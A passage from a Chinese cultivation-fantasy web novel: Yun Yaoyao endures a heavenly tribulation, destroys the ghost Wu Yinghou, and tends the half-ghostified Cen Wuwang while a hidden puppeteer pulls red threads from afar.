自雷劫降下,那些寄生在邬盈侯魂魄里的红线便如同死了一般。他重新聚气凝结出双手,将散落的红线扯到身前仔细端详。 那些红线在翻滚的过程中打了不少死结,邬盈侯边不断拉扯着这些丝线,企图再次汲取力量。他声音似哭非笑,嘴上不断絮絮叨叨:“再眷顾小人一次吧,再帮我一回,我不想死啊,不想死……” 但是那些红线再也没有回应邬盈侯,他的语气从卑微变为愤恨:“利用完老子就想抛弃,你算什么东西,瞧不起我,连你也瞧不起我!凭什么!” 雷声轰鸣,电光照亮他脸上的狰狞。可能是被雷劫折磨后有些疑神疑鬼,明明不是每一道雷光都落在他身上,他还是下意识捂住脑袋,将脸埋了起来。 “别杀我,别杀我,别杀我,别杀我……”邬盈侯战战兢兢祈祷着。 预想中的恐怖雷击并没有落下,邬盈侯悄悄抬起脸,头顶的雷云还在聚集,这回肯定是要落在这里的。 他赶紧手脚并用往上爬,一边爬一边咒骂:“别让老子找到你,老子不会放过你的,老子替你卖命,关键时刻不管老子了,等着吧,我化成厉鬼也要缠上你。” 但他其实已经是鬼魂,来不及夺舍新的身体,他原来的身体也已经不复存在,又被幕后之人抛弃。 现在的他邬盈侯不仅是孤家寡人,更是孤魂野鬼。 不过邬盈侯还是凡人吴让的时候,本就一无所有,现在不过是回到了起点。他脑中闪过许多张脸,姜娆、云杳窈、岑无望,再然后是那个红线中的人影。 “等我东山再起,我要把你们这些人,全都杀掉。”他这么想着,心里才好受了点,“我要把你们全部斩首示众,让天下人看看,对不起我吴让的人,都是什么下场。” “我要用你们的皮做鼓,用你们的骨头棒槌,让天下人都听听你们的哀鸣。” 他奋力往上爬,好一会儿才爬到地面上。 明明雷声依旧,天却突然暗了下来。 邬盈侯抬头,发现并非自己已经度过雷劫,而是有个人站在了他身前。 云杳窈的形容同样狼狈,袖子都被烧焦了不少,身上也带了不少伤口,但她看向邬盈侯的眸光依旧明亮,鎏金眼瞳中蕴含着比以往更胜的灵气,璀璨夺目。 再仔细看,她的身后也蔓延了无数丝线。 鉴义不断被落下的一道道雷劫烧焦焚毁,可是总有新的丝线迎难而上,将那些雷劫吸纳进来。 这些天然的灵气威力恐怖,几乎将云杳窈的全身经络震碎,她的骨头都断了不少,全靠用灵气不断煅体促生,强行再次连接断裂的筋骨,让它们强行愈合。 稍有不慎,可能就会身魂俱灭,尸骨无存。 到后来,云杳窈已经感受不到疼痛,她带着焕新的**和魂魄,找到了另一个被雷劫逼到绝路的魂体。 “终于找到你了。”云杳窈一直平静的脸上露出些许笑容,她的嘴角都麻木了,没控制好表情,脸颊肌肉抽搐一瞬,直接把邬盈侯吓得尖叫一声。 身后是万丈深渊,邬盈侯无处可退,只能往一边爬。 “别过来,别过来,别过来……”邬盈侯目眦欲裂,他吓得丢了一条腿都没发现,“救救我,大人,大人!” 云杳窈没有如邬盈侯那种虐杀的变态癖好,她已经不想再给邬盈侯留下任何生的希望。 这种人就像是臭虫,只要不彻底杀死,就会一直恶心人。 不给他任何翻身可能,让他即刻去死,才是对他最大的惩罚。 云杳窈举起问心,上面隐隐有雷光显现,灵气聚集在剑尖,她毫不犹豫,瞄准邬盈侯的魂心,干脆利落将他捅了个对穿。 邬盈侯只感受到一股灵气贯穿身体,将他全身的鬼气驱散,他再也无法舍弃什么东西来重聚魂魄,那些灵气就如同火一般,将他几乎烧了个一干二净。 云杳窈知道邬盈侯最爱惜性命,也最贪生怕死,所以她故意留他一点意识,好让他亲眼看着自己的性命流逝却无能为力。 “不要,求求你放过我,我错了,我愿意赎罪,我愿意用任何办法赎罪,只要你留我一命,哪怕做牛做马做猪做狗也好,我不想死,我真的不想去死啊!” 邬盈侯被问心钉在原地,只能用尽所有力气去仰脸,他两只手抱住云杳窈的腿,哭嚎道:“你不想知道我背后之人是谁吗?我只是个奉命办事的,你不想知道真正卷起这场祸事的人是谁吗?” 云杳窈眼神微动,终于垂首再次看向邬盈侯。 邬盈侯以为自己说动了她,赶紧想方设法与她谈条件。 “留我一命,我来替你办事,我帮你揪出那个真凶,好不好?” 云杳窈感受到他的魂魄越来越微弱,感受到他的恐惧越来越深,没有丝毫犹豫,握紧问心剑柄,将它抽了出来。 可是她并没有想办法为邬盈侯聚魂,那些残存的灵气已经足够覆灭他的魂魄,邬盈侯这才感受到一种从未有过的恐惧。 他终于说不出来任何话,眼睁睁感受自己与天地融为一体,马上就要彻底消失在风中。 只要魂魄尚存,就还有转世的可能,即便是赎罪,上天要他将世间痛苦都尝试一遍,他也认了。 可是云杳窈连他的一丝魂魄都不可能留下。 什么知错能改,善莫大焉,什么来世恶果,她都不在乎。 她真的一心让他死个彻底。 恐惧如潮水般袭来,几乎将邬盈侯溺死,他向来不见棺材不落泪,刚才即便是被雷劫搞得差点魂飞魄散,也从未想过自己真会落得这般下场。 邬盈侯终于痛哭出声:“你不能杀我,我不过是想改朝换代,有野心,不甘平庸,难道也是错吗?古往今来屠城的君主不止我一个,你敢杀我,难道不怕因果报应吗?” 云杳窈用尚且能扯过来的一角衣袖,将问心上的灰尘擦拭干净。 邬盈侯已经彻底消失,但她还是自顾自道:“我最不怕因果报应,我怕的是,因果根源不来寻我。” 天地逐渐归于平静,雷声渐悄,乌云未散。 云杳窈看见那些断裂的红线洒落一地,她一一将其捡起,打算让止戈辨认一下,是不是与鉴义同源。 若是同源,就有可能找出它们的主人到底是谁。 这也是云杳窈为何干脆 利落杀了邬盈侯的原因之一,这些丝线是单向流传,邬盈侯根本没本事找到幕后之人,否则按照他的秉性,定要将此人拖下水,逼他不得不帮自己脱困才可。 历经此次雷劫,云杳窈跨境跃升直神秀境,体内灵气浩瀚如烟海,但她心法与技法仍旧不够娴熟,好像一个天生力大无穷的武生,能凭借蛮力获胜,但若遇上同境界的其他修士仍然不具备优势。 刚才在经受雷劫时她识海忽见异象,先是看见自己前世与晏珩的种种,而后又是她不同身份时所经历的一些故事,以及每一世都不可避免的死局。 云杳窈现在脑子还有点糊涂,她越是想往前深挖,看到最初那一世的真相过往,越是感觉脑内有一团萦绕不退的雾气遮蔽着,在这种自我对抗中,先前雷劫中都没倒下的云杳窈,突然感到喉头一紧,紧接着唇角溢出一点鲜血。 这种千载难逢的机会,她绝对不会放过。 云杳窈索性闭眼,去专心看那些生死之际唤醒的,残存在她识海中的前世记忆。 好像只身走过了千百年的时光,她在迷雾深处隐隐约约看见一个女子。 她们神魂一致,或者说,她就是她,是前世今生,是上天捉弄造就的阴差阳错。 她们本就不分彼此。 迷雾中的云杳窈伸出一根手指,隔空点在她的额心。 “痴人,还不快醒过来。” 云杳窈感受到一股巨大的力量,将她的魂魄按回了肉身中。 原来方才她险些魂魄离体,再度投身轮回。 如今骤然苏醒,方知凶险万分。她惊觉方才竟然是自己救了自己一命。 她抬腿想要离开这里,但身体就像是和自己不太熟悉,根本不配合,膝盖一软,她险些摔倒在地。 幸而在此刻,有一双有力的手臂接住了他。 熟悉的怀抱让云杳窈紧绷的精神放松了下来,她刚想和岑无望分享自己境界提升的喜事,嘴巴刚刚张开,就呕出一大口鲜血。 “我……”云杳窈抓紧岑无望的肩头,想要咽下那口血,“我做到了,我自己做到的,天命原来并非不可违抗。” 她话刚说完,鼻腔流出一股热流,接着眼角流出血泪,耳道也跟着淌出污血。 她眨眨眼,这才发现岑无望不是没有说话,只是他嘴唇不断开合,她却什么都听不见。 雷劫降下时,云杳窈用灵气不断冲刷自身筋络,刺激它们不断修复再生。 现在雷劫已经过去了,那些被灵气撑开又干瘪的筋脉如同枯萎的藤枝,这里根本没有足以维持她身体消耗的灵气。 世界如此寂静,静到云杳窈甚至能听见自己异于常人的心跳,已经她血从身体里不断流出来的声音。 “冷,真的好冷。”云杳窈忍不住浑身打冷颤,她倒在岑无望肩头,对着他的耳畔轻声说,“岑无望,你抱抱我,抱抱我吧。” 第83章 云杳窈话音刚落,便感受到岑无望手臂收紧,仿佛要以此来用力回应她。 云杳窈还是感觉不到任何暖意,她感觉又累又渴,心里委屈:“岑无望,我好累啊。” 岑无望一直没有出声,让她觉得自己被忽视了,于是便咬了他一口,在他脖子上留了一个浅浅的牙印。 “不准不理我。” 云杳窈强行撑着自己的意识不要溃散,因为她知道,一旦昏睡过去可能就再也醒不过来了。 可是灵气的流失不可控制,她破损的筋脉根本维持不了灵气的正常运行,没有取之不尽的灵气供她强行维持此身,自我修复的速度也慢了下来。 现在全身的灵气都聚集在心口,强行让她撑着一口气没有昏过去。 “好不甘心啊。”云杳窈忽然长叹一口气,却仍感觉心口沉闷,“明明差一点的。” 云杳窈回忆起方才看到的几世,自嘲般笑了笑:“怎么每次都是差一点呢,可能我真的是差点运气吧。” 可是嘴上这么说着,云杳窈却始终不肯放任自己晕过去,还在试图用鉴义汲取周围的灵气。 不知过了多久,有一股暖流进入她体内。 这些灵气进入到云杳窈的四肢百骸中,并没有立即汇入识海和心脉,而是开始修复她已经千疮百孔的身体。 那些断裂的筋骨开始重新愈合,密密麻麻的痛和无法忍受的痒让云杳窈逐渐清醒。 与雷霆之势的天道劫数不同,这种由内而外的痛和痒几乎不可能忍受,她突然开始剧烈喘息,想要在地上打滚,甚至把自己的血肉都扒开,好好看看里面到底是什么。可 是岑无望紧紧抱着她,不让她做出任何有可能伤害自己的事。 云杳窈这时才听见岑无望模糊的声音在耳边响起,耳边像是被蒙了一层膜,她有些烦躁,撒气般在他怀里挣扎,挣扎不成就扯他衣服,用嘴泄愤,想把这种痛感从自己身上散出去似的。 好一会儿,云杳窈才逐渐听清楚岑无望在说什么。 他先是说:“别怕,我不走,我就在这里。” 而后是:“听话,不要乱动,你会伤到自己的。” 失去的五感渐渐回归,云杳窈看见他脖子上青紫伤痕与禁制符文交错着,她几乎可以肯定,这些齿痕一定会烙印成疤,她已经分不出口中的血腥味到底是自己的还是岑无望的,痛苦让她无暇思考。 岑无望在给她渡灵气,这让他体内勉强能够被灵气压制着的鬼气翻涌起来,她知道岑无望可能比她还要痛苦。 于是她紧紧抓住岑无望的衣襟,央求道:“放我走吧。” 岑无望此刻与她神魂相通,两人都如同置身炼狱。 他看着云杳窈眸中泪光,轻轻摇摇头:“不要说胡话。” 他明白云杳窈心性要强,不肯在此刻拖累他,但他更明白她对生的欲望有多强大,又怎么会主动求死。 云杳窈继续说:“真的。” 岑无望坚定道:“撒谎。” 两人为彼此的生死互不相让。 云杳窈还要狡辩,岑无望却垂眸俯身,以吻作挡,将她任性的谎言全数封存。 担心她伤到自己唇舌,岑无望撬开她唇舌,与她继续纠缠。 偶尔云杳窈想要逃离,都被岑无望按着后脑勺一一讨了回来,直到她没力气,只能接受他不断渡过去的灵气和暖意。 雨过天晴,在天地曙光重新之时,云杳窈终于能够克制那种与痛苦,灵脉重新运作,不仅内里漏洞愈合,连带着外化于形体,身体的伤痛正在以肉眼可见的速度愈合。 岑无望不知何时与她拉开点距离,在废墟之上,两人额头相抵,身心俱疲。 鉴义重回体内,帮助云杳窈梳理新涌入的灵气。 因他们彼此之间的灵气同根同源,云杳窈的身体几乎对岑无望的灵气没什么排斥,失而复得一般,有条不紊在体内流转。 可能正是因为身体恢复了些许,刚才那些自暴自弃的话犹在耳边回响,云杳窈有点不好意思。 她被岑无望抱在怀里,整个人像是被拆开后重新拼凑完整一样,全身酸痛。 稍稍有点动作,岑无望的灵气便如影随形,手也很快覆盖过来。 他冰冷的鬼气用以麻痹她的痛觉,如果有恶鬼在这里,应当会惊讶他身为恶鬼,竟然如此会做出如此行径,拿如此纯正的鬼气给人缓解痛苦,简直令鬼蒙羞。 鲜活的血肉就在嘴边,他居然违背本性,替虚弱的猎物缓解痛楚。 甚至吞噬的欲望铺天盖地侵占理智时,岑无望也只是动了动喉结,很克制地在她唇上啄了啄。 云杳窈不知道岑无望此刻本能作祟,在他有又一次低头得寸进尺时,抬起手挡住了他的动作。 岑无望吻到她的掌心,在成为恶鬼前,他就已经辟谷了,照理说时不会感受到饥饿的。但他胃里确确实实泛起酸水,那种迫切想要吞掉点什么的欲望让他无法再忍受。 于是,岑无望改变方向,目标改为云杳窈柔软的颊肉。 然后,他就想被音咒定在了原地,突然不能动了。 云杳窈担心岑无望走火入魔,从他怀里艰难起身,岑无望竟然没有再束缚她,任凭她跪坐在地,惊慌失措去检查他的身体。 她小心翼翼将脸贴在岑无望的心口,在听见他心脏仍然在奋力跳动时,微微松了口气。 心跳还在,那岑无望应该就暂时不会彻底鬼化。 她仰起脸,用双手捧起岑无望的脸,轻轻摇晃:“岑无望, 你能听清我在说什么。” 好在岑无望没有彻底失去理智,他眼珠微动,慢慢回应:“杳窈。” 云杳窈又问他:“你哪里不舒服?” 岑无望似乎无法理解他的话,半天没有反应,活像个木头疙瘩。 云杳窈捧着他的脸左右摆弄,发现岑无望毫无反抗之意,却仍旧对她刚才的话没有反应,疑惑道:“怎么不说话呢,你和我说说话啊。” 然而她刚说完,岑无望就回答她:“杳窈。” 听见他这么说,云杳窈愣了一下,随即试探道:“岑无望,你跟我说,我是笨蛋。” 如果是平时,岑无望定然谁说:你是笨蛋。 然而云杳窈等了一会儿,听见岑无望一字一句缓慢道:“我是笨蛋。” 云杳窈终于想明白了,岑无望应当是为了不沦为真正的恶鬼,在灵气低微的情况下,自我封存了一部分意识。 岑无望仍旧是一副清正俊秀的年轻郎君模样,乍一看,周身一点鬼气和灵气都没有,与凡间的世家公子别无二致。 只一点不对劲,他虽气质不俗,但眼神空洞,只有云杳窈下达指令时,才稍稍有点反应。 而已太复杂的指令也不行,例如云杳窈试着让他现在刺杀晏珩,他眸光动了动,分明听见了她的指令,却还是立在原地,没有接下来的动作。 也就是说他现在不能思考,只能服从简单的命令。 云杳窈长长叹了口气。 如今的情形,岑无望恐怕只有等到自身灵气恢复,才能完全恢复清醒。 想到这里,云杳窈忧心忡忡:“岑无望,你不会是要变成傻子了吧。” 她迅速思考了一下岑无望要是真要做一段时间傻子该怎么办。想来想去,好像也没有很糟糕。 一直等着岑无望清醒也不是良策,还是要先回朝晖殿,然后再等待止戈回来,让她看看岑无望如今还有什么能够快些恢复的法子比较好。 因为两人的灵气的几乎要耗尽,云杳窈没办法御剑回去,这里一片断壁残垣,道路不畅,而且她也不知道回去的路上会不会遇见什么新情况。 为了让岑无望能够跟紧自己,云杳窈用鉴义拴着他,自己则拄着问心在前开路。 “岑无望,跟紧我。”云杳窈说,怕他理解不了,她又补充道,“走路,明白吗?自己走路。” 还好,岑无望并非真傻,他反应了一会儿,终于抬脚跟着她。 虽然速度慢,但好歹能动身了。 与此同时,千里外的人牵起丝线,发觉丝线已然断裂。 不过这似乎并没有影响他的心情,残存的丝线虽然无法再从他这里获取力量,但那些被赐给邬盈侯的线不过是他仿制的子线,从本源里分裂出来的劣质品罢了。 这些子线的力量和能力远不如本体鉴义,但真正的鉴义如今在云杳窈手中,他此前费劲心力,也只寻找到一根尚能使用的丝线。 云杳窈如今尚不知道自己拥有了多大的力量,而他已经借这条丝线的能力,学会了很多东西。 比如千里操纵傀儡,再比如…… 他纤长的手指拨弄母线,唤醒那些千里外遗落的子线。 “这样才有意思。” 子线感召到母线的变化,将所剩无几的力量聚集在一起,瞄准目标,猛地刺入。 如此微薄的灵气,云杳窈和岑无望根本无从察觉,这根丝线传入岑无望体内,直奔他的识海深处。 岑无望体内没有凤凰羽,这点灵气很难再如同先前行事。 不过火上浇油不能做,他还会祸水东引。 岑无望只剩一丝灵气保持自己灵台清明,需要一段时间慢慢恢复。一旦鬼气入侵,他的鬼化便不可阻挡。 他很好奇,云杳窈到底会选择怎么处置岑无望呢? 亦或者说,岑无望会不会在失控中亲手杀了自己视若珍宝的人。 他很期待两人的表现,不再等待,再次拨动母线。 子线已经寻找到那层隔绝了鬼气和识海通道的薄弱防御,它如针般的身体刺穿这层屏障,透过这个小孔,鬼气争先恐后往里入侵。 而后,鬼气很快边不满足于这狭小的通道,硬生生将屏障挤出几道裂隙。 啪—— 稍稍恢复了些许的岑无望听见自己脑内深处传来一声清脆的破裂声,接着,他发现自己的身体开始不受控制。 灵气与鬼气互相争夺地盘,鬼气几乎是以压倒之势赢过灵气。 岑无望看见自己直起身体,突然举起手,鬼化后的利爪根本不需要蓄力,朝着前方毫无防备的云杳窈发动袭击。 鬼爪摩擦剑身的声音异常刺耳,云杳窈已经第一时间回过神来,看向身后。 恰好赶来的止戈抖了抖缠在手上的剑穗,心里有点遗憾。 岑无望做鬼也这么敏捷狡猾,刚才差点就能把他的指甲削下来了。 她没有犹豫,准备再次进攻。 “你这时候鬼化,简直是送上门找打。”止戈轻嗤,“就知道你控制不住,还好我来得足够快。” 云杳窈见两人之间打得越来越激烈,她赶紧大喊一声:“停!” 止戈蹙眉,侧首用余光去看云杳窈,恨铁不成钢道:“岑无望已经鬼化了,他刚才差点就要杀你,你还要替他辩解吗?” 云杳窈也不能确定岑无望的鬼化状况为何突然加重,他身上的鬼气越发浓郁,光是立在那里,雪肤乌发,目中无人的模样就有一种森然阴郁的气质。 和云杳窈过往见到的岑无望简直不是一个人。 可是,他确实在云杳窈喊停后乖乖站在原地,尽管一身鬼气不散,可攻击意图确实停止了。 云杳窈犹豫道:“他是为了救我才变成这样的,还是有意识的,并未完全沦为恶鬼。” 不过止戈才不在乎这些,她确实感觉岑无望有些不对劲,但她还是反问道:“有何不同,就算他还没有完全失去意识,可他已经被鬼气侵蚀,撑死也只能说他是个诡计多端的恶鬼,蠢鬼、智鬼都不如做死鬼一条,你站远点,我来杀他。” 说罢,她再次举剑欲杀向岑无望。 云杳窈赶紧说:“岑无望还没说灵果在哪里呢,你杀了他,灵果又该往何处寻?” 止戈犹豫了一瞬,但又不舍得放弃这个除掉岑无望的好机会。 “你能控制他?” 云杳窈摇摇头:“好像不能完全控制他。” 止戈摇摇头:“浪费我时间,还是杀了比较省心。” 云杳窈连忙拦在她身前:“哎哎,别急啊,我虽然没办法完全控制他,但是我有办法让他乖一点。” 止戈看她丝毫不避讳自己的剑锋,就这么站在自己面前,她犹豫一瞬,没有立即收剑,将剑往一旁悄悄挪了几寸。 扪心自问,她确实不舍得白白放跑灵果的消息,于是压着杀心问云杳窈:“什么办法?” “你把他打昏过去。”云杳窈说。 止戈以为自己听错了:“什么?” 她看见云杳窈认真神情,发觉她不是在开玩笑,于是道:“你真想他死吗?他身上鬼气这么浓重,我一剑砍中后,他要是没死也该被我激怒了。哪有把鬼打昏过去的?” 云杳窈将她手中剑夺了过来,收归剑鞘中。 “但是岑无望不能算恶鬼啊。”云杳窈解释道,“他的魂魄仍在身体里拘着,抛开他满 身的鬼气来看,不就是个普通人吗?你把他打昏了,然后我们御剑回朝晖殿,好不好?” 止戈很想说她抛不开。 但云杳窈嘴唇动了动,强调:“灵果。” 止戈瞪了瞪远处的岑无望,也强调:“只此一次,下不为例。” 放岑无望一命的事,止戈实在很难做到,但放任灵果继续流落在外的事,她更做不到。 权衡利弊后,止戈拨开云杳窈,剑都没拔出来就上了。 云杳窈还在身后说:“别打头,也别打脸。” 第84章 止戈动作干净利索,加上岑无望精力不济,又时常被云杳窈喝停,几乎是没打几个回合,就被止戈绕后打昏。 岑无望晕倒后,止戈第一时间为他输送了灵气,这时候她才有功夫问:“我刚刚看见雷劫降下,你境界飞升,把邬盈侯杀了?” 云杳窈回答:“差不多。” 她想起先前邬盈侯身上的丝线,试着用鉴义潜入岑无望体内,让他在丝线的操纵下能够慢慢行走。 这样确实好用,不过云杳窈也是第一次用这种法子,试了好久,发现操纵岑无望时还是会在不知不觉间同手同脚,她索性放弃,站在岑无望与止戈中间,假装没看见。 止戈倒是没功夫嘲笑岑无望,她道:“岑无望现在很危险,他本就是拖着病体苟活,即便能够清醒过来,说不准哪一日便会完全沦为恶鬼。” 还有句话她没说,彻底鬼化对岑无望反而是一种解脱,以她看到的情况来说,他可能压根支撑不到完全鬼化的那天。 岑无望从前仅凭着几根心弦苦苦支撑,情况本就不容乐观。如今只剩孤线续命,这样的身体状况,竟然还能苟活下来,这要是被哪个医修捡走,可能要把他供起来研究。 云杳窈拉着岑无望,她还不够娴熟,刚刚岑无望被绊了一跤,差点摔倒,这回她不敢松手,时刻都要分心去看他脚下是否平稳。 岑无望的身体状况确实令云杳窈忧心,她不知道止戈愿不愿意帮他们。 她视岑无望为仇敌,恐怕不会那么轻易就出手相助。 可天下之大,与岑无望同时期活下来的灵族同胞只有止戈,而只有嵘烬山可能有记载治愈灵族心脉的法子。 况且嵘烬山僻静,内部灵气充裕,即便一时半会儿找不到治愈岑无望的法子,对他修养恢复亦有好处。 云杳窈一时不知道该怎么开口。 如今除却灵果,她恐怕只剩下一样能够与止戈做交换的东西了。 她刚想开口,长时间听不见她回话的止戈已经另找了话题。 “姜氏兄妹还好吗?”止戈突然问,“姜娆平安吗?那两个鬼胎你们如何处置了?还有……” 她突然顿了顿,或许心中已经有了模糊猜想,可她还是选择继续问下去。 “姜烛可还活着,肉身和魂魄都还完整吗?” 云杳窈想起早就尸首分离的姜烛。 想了想,无论是谎言还是真相都很残酷。瞒得了一时,瞒不了一世,既然如此,还是把真相告诉止戈比较好。 “姜娆已经平安,如今在朝晖殿休息,有医师照料想必很快就会醒过来。” “鬼胎一事比较棘手,我们都不敢轻举妄动,说来话长,还需要你待会儿亲自看过才好。” 云杳窈斟酌着用词,没有直接说姜烛遇害已久。 “太子烛仁善宽厚,若非遭遇此次祸事,应当会是位贤明的君主。” 身旁的止戈一直垂眸看脚下路,她认真踢开每一块有可能绊住她脚步的石子,睫毛纤长浓密,云杳窈偷眼斜看,几乎不见她眼底情绪。 止戈喃喃道:“这样啊,还真是……” 她思索了一阵,平淡道:“还真是有点可惜了,今年的上巳节,我因诸事缠身,未能赴约。听说淇水边的风景甚美,却无缘一见,可惜啊。” 云杳窈见过她的愤怒、悲痛、无情,但是这种谈起逝者却仍旧风轻云淡的模样,还是第一次见。 按照常理说,即便是不亲近的人,猝然听闻他离世,也该象征性感叹几句,亦或者悲声痛哭,掉几滴眼泪才好。 若是无情,似乎就该是这幅无喜无悲的模样。 可倘若真无情,那未能共赴的淇水之约,又怎么会是遗憾呢? 年年岁岁花相似,岁岁年年人不同。 止戈和姜烛还是差点运气。 云杳窈不知道该怎么接话,反倒是止戈若无其事往下聊:“邬盈侯已死,襄华内部必然会有动乱。光是谁来继承王位,恐怕都能吵个七天七夜。” 云杳窈点头说:“是。” 她猛然想起来,止戈作为太子门客,应当也有自己的见解,于是问:“你觉得谁比较合适?” 止戈闻言,扭头疑惑道:“你问我?” 她轻笑一声:“你别误会,我帮姜氏是情分,不帮是本分,既然恶鬼已然除掉,我就没有继续赖在这里的理由了。如今该死的、不该死的都死绝了,我才懒得插手襄华内务,让那些臣子和宗室们自己吵去,我于襄华不过一过客,哪里轮得到我来指点江山了。” “事情走到今天这个地步,不该由我们继续收拾烂摊子。” 止戈刚说完,又问她:“你接下来打算怎么办,带着岑无望这个灾星继续漫无目的四处流亡吗?” 云杳窈反驳:“岑无望不是灾星。” 她知道止戈讨厌岑无望,索性不再与她纠结称呼问题,说:“至于去哪里……” 先前云杳窈想得简单,以为天下之大,又怎么会没有他们的容身之处呢?可此行让她对接下来的旅途不得不产生更多顾虑。 且不说乾阳宗一直没有放弃对他们的追杀,现在又突然冒出来一个能驱使恶鬼的人,这两股力量一直对他们紧追不舍。 从逐庆到王都,他们早就被人盯上,遇见姜娆和取出鬼胎都是提前算计好的,幕后之人真正想要的不是襄华,而是他们一行人。 那他究竟在等谁呢?她、止戈、岑无望、闻佩鸣,甚至是乾阳宗几个弟子都有可能。 但云杳窈回想起邬盈侯在崇仙阁底下脱身的那一刻,那个突然借助邬盈侯残躯望向她传话的人。 他的眼神,分明是胜券在握。 上有天听雷霆,下有暗影无数,这世间鲜有真正藏匿行踪的地方。 “我也不知道啊。”云杳窈乖巧道,“或许会找个能够接纳我与岑无望的门派,继续做某门某派的弟子,或是做某个世家的门客。岑无望的心疾需要静养一段时间,等他痊愈了,我们再一起做对闲散游侠也好。” 止戈恨铁不成钢,听了直摇头:“就这点出息,光想着岑无望这个负累,怎么不想想自己。” 云杳窈笑得两眼弯弯:“有啊,你要听吗?” 止戈这才注意到,她笑时那颗虎牙真的让她有种狐狸的狡黠感。如此年轻活泼,鲜亮动人,即便是衣衫褴褛,刚刚遭受过天劫折磨,仍然目有星子闪烁,亮的不可思议。 凡人的寿数于止戈而言不过朝生暮死的蜉蝣,她有点不自在。 “你愿意说,我就随耳听喽。”止戈说。 邬盈侯所设结界的效果还在,树影与屋影已经回落重现,但人影有灵,依旧被残存的结界影响。从某方面来说,这里依旧是无影之地,与镜湖类似,是一个暂时能够随心而言的地界。 “我想开宗立派,平世间所有不平之事,直到任何一世的我都能有处可栖。直到这个世间,再没有一个与我相似之人会重演我的遭遇。直到他——” 云杳窈话音暂停,伸出食指朝天。 “或者说他们,再也无法忽视我,随意摆布我的人生,我需要创造一个他们也不得不捏着鼻子认下我的功绩。” 要多大的功绩,才 足以打动天道,直接飞升成仙? 止戈回忆了在仙庭那些浑浑噩噩的日子,必得是亘古未有的丰功伟绩才行。 而不凭借自身功法,仅凭功德飞升的人,在此间世界里,还从未出现过。任何瑕疵都有可能成为飞升前的最后一道心魔,更何况仙庭那帮人岂会让她轻易如愿,任何小事都会成为他们攻讦刁难云杳窈的理由,但人活一辈子,怎么可能没有任何瑕疵? 立下不世之功的将军没有飞升,悬壶济世的神医也没有飞升,杀万鬼的剑君也总是好像差一口气似的。 人要立下多大的善,才能问心无愧,才能越过仙庭规则,直接成为天道亲选的仙者。 “太天真了。”虽然止戈听了她一番话,内心也泛起涟漪,可她还是毫不犹豫泼了一盆冷水,“要真有你说的那般容易,仙庭早就挤不下了。你的存在本就是一根拔不去的刺,即便你是不世之材,可这世间阴阳平衡早就被规划好了,邬盈侯之祸已是罕见,可天道也只是给了你一个顺势而为,除去祸患的机会。你再想创立功绩,就算是杀遍世间恶鬼也不行,毕竟前人已经替你试过了。” 这个人,便是剑君晏珩。 “所以,我不能杀万鬼,因为鬼是杀不完的,世间的生死和轮回从未停止,以杀证道,何时才是尽头?”云杳窈平静道,“倘若我说我要做的是度化而非杀戮呢?” 若是别人可能会嘲笑她异想天开,止戈虽然也很想说不可能,但看着云杳窈认真的神情,总觉得有种觉得她不像是在开玩笑,认真思索了一下,才说:“你想怎么做?” 云杳窈见止戈有所动摇,才牵着岑无望继续向前,边走边说。止戈也忍不住紧跟着她,听她到底能说出些什么惊世骇俗的言论。 “正如你所说,世有阴阳平衡,正邪两立,互不相让,天道不会允许任何人轻易打破这个最根本的规则。仙庭为了不让大批新派涌入,自然也不会轻易放松关卡,可他们太害怕被分权,自然要暗中打压,这便会暂时影响平衡。” “我肉身虽会经历老死,却有不灭灵魂。我需要等待,等一个他按捺不住向我出手的时机。在这之前,我需要丰满羽翼,需要世间遍扬我名。” 已行至朝晖殿前,止戈拦下云杳窈正要推门的手。 “等等,你说的他是谁?” 第85章 云杳窈勾起唇角,但笑不语。 从高处传来一声呼喊:“师妹!” 红衣少年来不及让自己的剑停下来,在半空中就迫不及待跳了下来,犹如枝头飘下的落花,准确无误掉在云杳窈面前。 花在溪看见云杳窈平安归来,伸出手想要看看她是否有外伤。 但他的手停顿在半空中,又讪讪收回,有些不自在地摸了摸鼻子。 “没事就好。” 花在溪的目光向后,看见立在云杳窈背后目光呆滞,一动不动的岑无望。 他一个侧身绕过云杳窈,围着岑无望转了一圈,手指拖着下巴,挑眉问道:“这是什么造型?” 未待人回答,花在溪抬手在岑无望面前晃了晃。 见岑无望的眼神光重新聚集了一点,却依旧无动于衷,花在溪扭头和云杳窈搭话:“怎么不理我?” 话音未落,一道风朝着他的右脸袭来,尖利的鬼爪必定穿透他的脸颊。 花在溪回头,身体向后倾仰,勉强避开这一击。但他此前毫无防备,若是岑无望再继续攻击,以他识海内现在空荡荡的状况,根本无从抵挡。 然而他咬紧牙关,准备拔剑相迎时,另一道掌风替他接下岑无望的又一击。 云杳窈避开岑无望的手掌,两人手腕相接之时,她手腕转半周,用了巧劲将他小臂向下压,避免他骤然收手伤及无辜。 “停。”云杳窈边说,另一手扶住花在溪的后颈,使劲一提,将他整个人拉回正位。 花在溪还没反应过来,又被云杳窈向后推开两步,与岑无望拉开距离。 等他随着余力站定后,发现云杳窈已经站在岑无望身前,将他与众人分隔开。 “是我的不是,没看管好岑无望,让你受惊了。”云杳窈道。 岑无望站在她背后,就如同一道化为实质的影子,无声无情,沉默到有些诡异。 以花在溪对岑无望的了解,他不是会随意出手伤人的性格,所以他问道:“他这是怎么了?” 止戈抱臂不语,听见花在溪的话,偏过头去:“问她。” 云杳窈笑了笑,道:“宿疾未愈,不太清醒,寻常人最好不要靠近他。” 她拉起岑无望,淡声询问,将此事轻轻揭过:“姜娆醒了吗?” 花在溪知道她不愿再提,他对岑无望如何变成这幅模样不感兴趣,如此这般,无法阻止他最后将师妹带回乾阳宗最好。 于是他也跟着笑了笑,不打算追根刨底,边在前开路边回头看着她说:“醒了有一会儿了,刚醒时看见天边雷云,还一直担心挂念着你的安危,跌跌撞撞跑出来,吓我们一跳。好不容易才劝下,这会儿正在前殿等着。” 云杳窈闻言蹙眉,加快脚步:“她正是虚弱,又没有经历过修行煅体,怎么还由着她这么耗着自己?” 凡人生命何其脆弱,仅仅是一场小小的风寒便能夺去。 姜娆虽然在她与止戈的帮助下,免了生产的血腥和苦痛,但那些怀胎时遭受的创伤依旧无法避免。 古往今来,生育都是女子的劫数。姜娆被鬼胎消磨自身血肉精气,必殃及自身寿数。 “是我执意要等你的,怨不得旁人。” 姜娆从殿前重重人海中现身,都说久郁成病,鬼胎长久的折磨和一朝失去血亲的悲痛,让她脸上再难看见任何喜色和血色。 虽说此刻仍是晴天白日,可风云变换无常,姜娆身体不好,云杳窈牵着她准备往殿内去,走到玉阶上,却发现姜娆拍了拍她的手背,摇了摇头。 